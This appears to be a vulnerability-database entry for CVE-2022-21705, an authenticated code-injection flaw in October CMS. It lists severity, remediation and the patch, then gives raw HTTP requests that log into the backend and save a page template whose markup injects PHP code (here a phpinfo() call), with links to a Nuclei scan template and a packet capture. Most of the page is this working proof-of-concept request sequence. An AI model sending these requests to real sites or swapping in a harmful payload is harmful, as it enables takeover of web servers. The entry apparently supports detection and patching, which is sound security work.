| Title | October CMS - Remote Code Execution |
|---|---|
| Author | iPhantasmic |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | The issue has been patched in Build 474 (1.0.474) and 1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe manually to installation. |
| CVSS Score | 7.2 |
| EPSS Score | 0.7849 |
| CVE ID | CVE-2022-21705 |
| CWE ID | CWE-74,NVD-CWE-Other |
| Tags | cve2022 cve authenticated rce cms octobercms injection vuln |
October CMS is susceptible to remote code execution. In affected versions, user input is not properly sanitized before rendering. An authenticated user with the permissions to create, modify, and delete website pages can bypass cms.safe_mode and cms.enableSafeMode in order to execute arbitrary code. This affects admin panels that rely on safe mode and restricted permissions.
GET /backend/backend/auth/signin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /backend/backend/auth/signin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_session_key=pGBKcU&_token=sWUdFW&postback=1&login=vIWa4z&password=XIvzSp
POST /backend/cms HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Content-Length: 501
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-OCTOBER-REQUEST-HANDLER: onSave
X-OCTOBER-REQUEST-PARTIALS:
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
_session_key=pGBKcU&_token=sWUdFW&settings%5Btitle%5D=38F6AHG8UeQKcvJHXKgbEU0tr5f&settings%5Burl%5D=%2F38F6AHG8UeQKcvJHXKgbEU0tr5f&fileName=38F6AHG8UeQKcvJHXKgbEU0tr5f&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0
POST /backend/cms HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-OCTOBER-REQUEST-HANDLER: onCreateTemplate
X-OCTOBER-REQUEST-PARTIALS:
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
_session_key=pGBKcU&_token=sWUdFW&search=&type=page
POST /backend/cms HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 100
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-OCTOBER-REQUEST-HANDLER: onOpenTemplate
X-OCTOBER-REQUEST-PARTIALS:
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
_session_key=pGBKcU&_token=sWUdFW&search=&IJzU0D=demo&type=page&path=38F6AHG8UeQKcvJHXKgbEU0tr5f.htm
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-21705.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-21705.pcap
N/AN/A